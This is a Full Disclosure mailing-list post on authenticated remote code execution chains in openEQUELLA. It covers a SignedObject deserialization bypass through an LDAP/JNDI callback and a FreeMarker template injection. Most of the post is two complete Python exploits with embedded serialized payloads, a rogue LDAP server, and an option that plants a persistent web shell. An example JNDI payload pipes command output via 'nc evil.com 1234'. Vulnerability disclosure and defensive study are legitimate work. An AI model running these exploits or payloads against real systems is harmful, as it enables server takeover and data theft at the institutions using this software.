From: evan via Fulldisclosure <fulldisclosure () seclists org>
Date: Sun, 27 Sep 2026 00:39:35 +1000
SUMMARY: an authenticated deserialization vuln in openEQUELLA allows
an attacker to inject a SignedObject payload, unwrap the SignedObject,
create an LDAP callback and serve a JNR response to get the server to
execute arbitrary code. alongside this sink is a SSTI vuln as well.
https://blog.evan.lat/posts/openeq/
wtf is openequella?
openequella is an "open source digital repository" for educational
material. it is widely used in australian universities and other large
educational institutions and certain government orgs/intl orgs (as far
as i know, at least)
the vuln
notably openequella pre 2026.1.0 heavily relied on deserialization on
anything (you can check this by just going to prior versions on their
github and looking out objectinputstream references, especially in
/invoker/com.tle.core.remoting.RemoteUserService.service, which is
where the xp happens). this is an accepted problem; which is why they
had a denylist blocking malicious classes from being deserialized.
obviously, denylists are brittle.
denylist
it blocks most conventional ysoserial gadgets:
org.apache.commons.collections.functors.InvokerTransformer
org.apache.commons.collections4.functors.InvokerTransformer
org.apache.commons.collections.functors.InstantiateTransformer
org.apache.commons.collections4.functors.InstantiateTransformer
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.MethodClosure
org.springframework.beans.factory.ObjectFactory
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
however it doesnt blocked SignedObjects (ois smuggling). to exploit
this, we can send a signedobject, which by itself contains a fresh OIS
to get around the filtered ois. from this, we can use a
beanscomparator -> jdbc -> ldap -> jnr chain to get rce. in our jnr,
we load a local class from oeq like so, to get around later java
mitigations against remote class loading:
javaNamingReference {
javaClassName = javax.el.ELProcessor
javaFactory = org.apache.naming.factory.BeanFactory
javaReferenceAddress {
#0 forceString = pageContext=eval
#1 pageContext = Runtime.getRuntime().exec(new
String[]{"sh","-c","ls -aril | nc evil.com 1234"})
}
}
here is the exploit for the above:
import argparse, base64
import socket
import sys
import threading
import time
import requests
from ldap3.protocol.rfc4511 import *
from pyasn1.codec.ber.encoder import encode
# just the packing shit will do
from pwn import *
print("outclass")
print("")
stageone =
"rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7dwEAeHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3IAAAAAAAAAAQIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7dwEAeHBwdAAGb2JqZWN0dwQAAAADc3IAGmphdmEuc2VjdXJpdHkuU2lnbmVkT2JqZWN0Cf+9aCo81f8CAANbAAdjb250ZW50dAACW0JbAAlzaWduYXR1cmVxAH4ACEwADHRoZWFsZ29yaXRobXEAfgAEdwEAeHB1cgACW0Ks8xf4BghU4AIAAHcBAHhwAAAFtKztAAVzcgAXamF2YS51dGlsLlByaW9yaXR5UXVldWWU2jC0+z+CsQMAAkkABHNpemVMAApjb21wYXJhdG9ydAAWTGphdmEvdXRpbC9Db21wYXJhdG9yO3hwAAAAAnNyACtvcmcuYXBhY2hlLmNvbW1vbnMuYmVhbnV0aWxzLkJlYW5Db21wYXJhdG9yAAAAAAAAAAECAAJMAApjb21wYXJhdG9ycQB+AAFMAAhwcm9wZXJ0eXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwcHQAEGRhdGFiYXNlTWV0YURhdGF3BAAAAANzcgAdY29tLnN1bi5yb3dzZXQuSmRiY1Jvd1NldEltcGzOJtgfSXPCBQIAB0wABGNvbm50ABVMamF2YS9zcWwvQ29ubmVjdGlvbjtMAA1pTWF0Y2hDb2x1bW5zdAASTGphdmEvdXRpbC9WZWN0b3I7TAACcHN0ABxMamF2YS9zcWwvUHJlcGFyZWRTdGF0ZW1lbnQ7TAAFcmVzTUR0ABxMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7TAAGcm93c01EdAAlTGphdmF4L3NxbC9yb3dzZXQvUm93U2V0TWV0YURhdGFJbXBsO0wAAnJzdAAUTGphdmEvc3FsL1Jlc3VsdFNldDtMAA9zdHJNYXRjaENvbHVtbnNxAH4ACXhyABtqYXZheC5zcWwucm93c2V0LkJhc2VSb3dTZXRD0R2lTcKx4AIAFUkAC2NvbmN1cnJlbmN5WgAQZXNjYXBlUHJvY2Vzc2luZ0kACGZldGNoRGlySQAJZmV0Y2hTaXplSQAJaXNvbGF0aW9uSQAMbWF4RmllbGRTaXplSQAHbWF4Um93c0kADHF1ZXJ5VGltZW91dFoACHJlYWRPbmx5SQAKcm93U2V0VHlwZVoAC3Nob3dEZWxldGVkTAADVVJMcQB+AARMAAthc2NpaVN0cmVhbXQAFUxqYXZhL2lvL0lucHV0U3RyZWFtO0wADGJpbmFyeVN0cmVhbXEAfgAPTAAKY2hhclN0cmVhbXQAEExqYXZhL2lvL1JlYWRlcjtMAAdjb21tYW5kcQB+AARMAApkYXRhU291cmNlcQB+AARMAAlsaXN0ZW5lcnNxAH4ACUwAA21hcHQAD0xqYXZhL3V0aWwvTWFwO0wABnBhcmFtc3QAFUxqYXZhL3V0aWwvSGFzaHRhYmxlO0wADXVuaWNvZGVTdHJlYW1xAH4AD3hwAAAD8AEAAAPoAAAAAAAAAAIAAAAAAAAAAAAAAAABAAAD7ABwcHBwcHQAKUxEQVBfVVJMX1BMQUNFSE9MREVSX1hYWFhYWFhYWFhYWFhYWFhYWFhYc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAApwcHBwcHBwcHBweHBzcgATamF2YS51dGlsLkhhc2h0YWJsZRO7DyUhSuS4AwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAh3CAAAAAsAAAAAeHBwc3EAfgAVAAAAAAAAAAp1cQB+ABgAAAAKc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cP////9xAH4AIHEAfgAgcQB+ACBxAH4AIHEAfgAgcQB+ACBxAH4AIHEAfgAgcQB+ACB4cHBwcHNxAH4AFQAAAAAAAAAKdXEAfgAYAAAACnQAAXhwcHBwcHBwcHB4cQB+ABN4dXEAfgAKAAAALjAsAhQ4rYPaRsqPG7QXM5X7eEsZUiKJpAIUY5/IRUACikQnsLGeDDQn59eEj790AA1TSEEyNTZ3aXRoRFNBcQB+AAl4"
def plbuild(url):
t = bytearray(base64.b64decode(stageone))
u = url.encode()
i = t.find(b"LDAP_URL_PLACEHOLDER_XXXXXXXXXXXXXXXXXXXX")
old = u16(bytes(t[i - 2:i]), endian="big")
t[i - 2:i + old] = p16(len(u), endian="big") + u
return bytes(t)
def newmsg(mid, op_name, op):
m = LDAPMessage()
m["messageID"] = MessageID(mid)
m["protocolOp"].setComponentByName(op_name, op)
return encode(m)
def bindres(mid):
br = BindResponse()
br["resultCode"] = ResultCode("success")
br["matchedDN"] = LDAPDN("")
br["diagnosticMessage"] = LDAPString("")
return newmsg(mid, "bindResponse", br)
def search_entry(mid, dn, attrs):
e = SearchResultEntry()
e["object"] = LDAPDN(dn)
pal = PartialAttributeList()
for i, (name, vals) in enumerate(attrs):
pa = PartialAttribute()
pa["type"] = AttributeDescription(name)
for j, v in enumerate(vals):
pa["vals"].setComponentByPosition(j, AttributeValue(v))
pal.setComponentByPosition(i, pa)
e["attributes"] = pal
return newmsg(mid, "searchResEntry", e)
def search_done(mid):
d = SearchResultDone()
d["resultCode"] = ResultCode("success")
d["matchedDN"] = LDAPDN("")
d["diagnosticMessage"] = LDAPString("")
return newmsg(mid, "searchResDone", d)
def msgparser(sock):
hdr = sock.recv(2)
if len(hdr) < 2: return None, None
tag, first = hdr[0], hdr[1]
length = first if first < 128 else int.from_bytes(sock.recv(first
& 0x7f), "big")
body = b""
while len(body) < length:
c = sock.recv(length - len(body))
if not c: break
body += c
return tag, body
def ldapsrv(sock, addr, cmd, hit):
esc = cmd.replace("\\", "\\\\").replace("\"", "\\\"").replace("$", "\\$")
# payload
el = f'Runtime.getRuntime().exec(new String[]{{"sh","-c","{esc}"}})'
print(f"+ ldap conn from {addr}")
try:
while True:
tag, body = msgparser(sock)
if tag is None:
break
mid = int.from_bytes(body[2:2 + body[1]], "big")
op = body[2 + body[1]]
if op == 0x60:
sock.send(bindres(mid))
elif op == 0x63:
attrs = [
("objectClass", ["top", "javaNamingReference"]),
("javaClassName", ["javax.el.ELProcessor"]),
("javaFactory", ["org.apache.naming.factory.BeanFactory"]),
("javaReferenceAddress", [
"#0#forceString#pageContext=eval",
f"#1#pageContext#{el}",
]),
]
sock.send(search_entry(mid, "cn=x", attrs))
sock.send(search_done(mid))
hit[0] = True
print(f"+ served a JNR")
elif op == 0x42:
break
except Exception as e:
print(f"! ldap: {e}")
finally:
try: sock.close()
except: pass
def startldap(port, cmd, hit):
srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", port))
srv.listen(5)
print(f"+ starting LDAP srv on 0.0.0.0:{port}")
while True:
c, a = srv.accept()
threading.Thread(target=ldapsrv, args=(c, a, cmd, hit),
daemon=True).start()
def auth(target, user, pw):
print("+ authing")
s = requests.Session()
s.verify = False
requests.packages.urllib3.disable_warnings()
r = s.post(f"{target}/logon.do", data={"j_username": user,
"j_password": pw}, allow_redirects=True)
if r.status_code not in (200, 302) or "logon.do" in r.url.split("?")[0]:
r = s.post(f"{target}/session", data={"username": user, "password": pw})
if r.status_code != 200:
sys.exit(f"[-] auth {r.status_code}")
print("+ auth done")
return s
def parse():
p = argparse.ArgumentParser()
p.add_argument("-t", "--target", required=True)
p.add_argument("-u", "--user", required=True)
p.add_argument("-p", "--password", required=True)
p.add_argument("-l", "--lhost", required=True, help="attack host")
p.add_argument("--lport", type=int, default=1389)
p.add_argument("--cmd", required=True, help="cmd")
return p.parse_args()
args = parse()
hit = [False]
threading.Thread(target=startldap, args=(args.lport, args.cmd, hit),
daemon=True).start()
time.sleep(0.3)
s = auth(args.target, args.user, args.password)
url = f"ldap://{args.lhost}:{args.lport}/cn%3dx";
print("WE BUILDING THIS SHIT G")
payload = plbuild(url)
print(f"+ size {len(payload)} ")
r = s.post(
# opt. encode to get around shit waf
# f"{args.target}/%2Finvoker/com.tle.core.remoting.RemoteUserService.service",
f"{args.target}/invoker/com.tle.core.remoting.RemoteUserService.service",
data=payload,
headers={"Content-Type": "application/x-java-serialized-object"}
)
print(f"got {r.status_code}")
for x in range(15):
print("poll")
if hit[0]: break
time.sleep(1)
if hit[0]:
print("+ recv jndi callback cop your shell")
else:
print("- no ldap callback. something fucked up")
ssti
notably, the exploit shown above doesnt work on jdk17+ because the
chain gets completely neutered by stuff like JEP 290 and
SERIALIZABLE_PROPERTY, etc. to get around this, we dont erally have to
exploit deserialization at all but rather the fact that this endpoint
is meant to load freemarker templates. obv, freemarker templates can
trigger rce, so we can simply supply a freemarker template to the
endpoint (which creates a portlet, aka it just loads on the dashbaord
afaik), then visit the page and trigger the rce.
xp:
import argparse
import base64
import secrets
import string
import struct
import sys
import time
import uuid
import requests
stageone =
"rO0ABXNyADVvcmcuc3ByaW5nZnJhbWV3b3JrLnJlbW90aW5nLnN1cHBvcnQuUmVtb3RlSW52b2NhdGlvbl9si5/2ChEKAgAEWwAJYXJndW1lbnRzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wACmF0dHJpYnV0ZXN0AA9MamF2YS91dGlsL01hcDtMAAptZXRob2ROYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7WwAOcGFyYW1ldGVyVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt3AQB4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB3AQB4cAAAAAJzcgAZY29tLnRsZS5jb21tb24uRW50aXR5UGFjawAAAAAAAAABAgACTAAKYXR0cmlidXRlc3EAfgACTAAJc3RhZ2luZ0lEcQB+AAN3AQB4cgAfY29tLnRsZS5jb21tb24uSW1wb3J0RXhwb3J0UGFjawAAAAAAAAABAgAETAAGZW50aXR5dAASTGphdmEvbGFuZy9PYmplY3Q7TAAQb3RoZXJUYXJnZXRMaXN0c3EAfgACTAAKdGFyZ2V0TGlzdHQAJExjb20vdGxlL2NvbW1vbi9zZWN1cml0eS9UYXJnZXRMaXN0O0wAB3ZlcnNpb25xAH4AA3cBAHhwc3IAJGNvbS50bGUuY29tbW9uLnBvcnRhbC5lbnRpdHkuUG9ydGxldAAAAAAAAAABAgAGWgAJY2xvc2VhYmxlWgAHZW5hYmxlZFoADWluc3RpdHV0aW9uYWxaAAttaW5pbWlzYWJsZUwABmNvbmZpZ3EAfgADTAAEdHlwZXEAfgADdwEAeHIAH2NvbS50bGUuYmVhbnMuZW50aXR5LkJhc2VFbnRpdHkAAAAAAAAAAQIAC1oACGRpc2FibGVkSgACaWRaAApzeXN0ZW1UeXBlTAAKYXR0cmlidXRlc3QAEExqYXZhL3V0aWwvTGlzdDtMAAtkYXRlQ3JlYXRlZHQAEExqYXZhL3V0aWwvRGF0ZTtMAAxkYXRlTW9kaWZpZWRxAH4AEEwAC2Rlc2NyaXB0aW9udAAlTGNvbS90bGUvYmVhbnMvZW50aXR5L0xhbmd1YWdlQnVuZGxlO0wAC2luc3RpdHV0aW9udAAbTGNvbS90bGUvYmVhbnMvSW5zdGl0dXRpb247TAAEbmFtZXEAfgARTAAFb3duZXJxAH4AA0wABHV1aWRxAH4AA3cBAHhwAAAAAAAAAAAAAHBwcHBwc3IAI2NvbS50bGUuYmVhbnMuZW50aXR5Lkxhbmd1YWdlQnVuZGxlAAAAAAAAAAECAAJKAAJpZEwAB3N0cmluZ3NxAH4AAncBAHhwAAAAAAAAAABzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR3AQB4cD9AAAAAAAAMdwgAAAAQAAAAAXQAAmVuc3IAI2NvbS50bGUuYmVhbnMuZW50aXR5Lkxhbmd1YWdlU3RyaW5nAAAAAAAAAAECAAVKAAJpZEkACHByaW9yaXR5TAAGYnVuZGxlcQB+ABFMAAZsb2NhbGVxAH4AA0wABHRleHRxAH4AA3cBAHhwAAAAAAAAAAAAAAAAcQB+ABVxAH4AGHQABXV0aWxzeHB0ACRiZDZmYmI1OS0xYzE2LTRkNWQtYjYyZC0wNmE3NjFhMWIzZjEBAQABdAAxPHhtbD48bWFya3VwPkZUTE1BUktVUF9QTEFDRUhPTERFUjwvbWFya3VwPjwveG1sPnQACmZyZWVtYXJrZXJwcHBzcQB+ABY/QAAAAAAAAHcIAAAAEAAAAAB4dAAkNzY4ZmJmNTktMjQ3NS00ZmE0LWFlMzgtZGE3OGJmMGFjYWY1c3IAEWphdmEubGFuZy5Cb29sZWFuzSBygNWc+u4CAAFaAAV2YWx1ZXcBAHhwAHB0AANhZGR1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB3AQB4cAAAAAJ2cQB+AAh2cgAHYm9vbGVhbgAAAAAAAAAAAAAAdwEAeHA="
PLACEHOLDER = b"<xml><markup>FTLMARKUP_PLACEHOLDER</markup></xml>"
UUID1 = b"bd6fbb59-1c16-4d5d-b62d-06a761a1b3f1"
UUID2 = b"768fbf59-2475-4fa4-ae38-da78bf0acaf5"
def builder(ftl):
t = base64.b64decode(stageone)
t = t.replace(UUID1, str(uuid.uuid4()).encode())
t = t.replace(UUID2, str(uuid.uuid4()).encode())
esc = ftl.replace("&", "&").replace("<", "<").replace(">", ">")
cfg = f"<xml><markup>{esc}</markup></xml>".encode()
idx = t.find(PLACEHOLDER)
old_len = struct.unpack(">H", t[idx - 2:idx])[0]
return t[:idx - 2] + struct.pack(">H", len(cfg)) + cfg + t[idx + old_len:]
def cmdrun(cmd):
esc = cmd.replace("\\", "\\\\").replace('"', '\\"')
return f"""<#assign v="freemarker.template.utility.ObjectConstructor"?new()>
<#assign p=v("java.lang.ProcessBuilder",["sh","-c","{esc}"])>
<#assign pr=p.redirectErrorStream(true).start()>
<#assign br=v("java.io.BufferedReader",v("java.io.InputStreamReader",pr.getInputStream()))>
<div id="beamd"><![CDATA[<#list 1..10000 as i><#assign
ln=br.readLine()!"__EOF__"><#if ln=="__EOF__"><#break></#if>${{ln}}
</#list>]]></div>"""
def sheller(param):
return f"""<#assign ex="freemarker.template.utility.Execute"?new()>
<#assign params=request.requestMap>
<#if params["{param}"]??>
<#assign cmd=params["{param}"][0]>
<pre id="beamd">${{ex(cmd)}}</pre>
</#if>"""
def auth(target, user, pw):
s = requests.Session()
s.verify = False
requests.packages.urllib3.disable_warnings()
r = s.post(f"{target}/logon.do", data={"j_username": user,
"j_password": pw}, allow_redirects=True)
if r.status_code not in (200, 302) or "logon.do" in r.url.split("?")[0]:
r = s.post(f"{target}/session", data={"username": user, "password": pw})
if r.status_code != 200:
print(r.text)
sys.exit(f"- failed auth {r.status_code}")
print("+ authing")
return s
def plant(s, target, ftl):
r = s.post(f"{target}/invoker/com.tle.common.portal.service.RemotePortletService.service",
data=builder(ftl),
headers={"Content-Type": "application/x-java-serialized-object"})
if r.status_code not in (200, 500):
sys.exit(f"- plant failed HTTP {r.status_code}")
print("+ planted thing")
def parse():
p = argparse.ArgumentParser()
p.add_argument("-t", "--target", required=True)
p.add_argument("-u", "--user", required=True)
p.add_argument("-p", "--password", required=True)
g = p.add_mutually_exclusive_group(required=True)
g.add_argument("--cmd")
g.add_argument("--shell", action="store_true")
return p.parse_args()
args = parse()
s = auth(args.target, args.user, args.password)
if args.shell:
param = "".join(secrets.choice(string.ascii_lowercase) for _ in range(8))
print(f"param is {param} lol")
plant(s, args.target, sheller(param))
print(f"+ shell at: {args.target}/home.do?{param}=whoami")
else:
plant(s, args.target, cmdrun(args.cmd))
time.sleep(1)
r = s.get(f"{args.target}/home.do")
print(r.text)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Current thread:
- openEQUELLA authenticated RCE chain(s) evan via Fulldisclosure (Sep 26)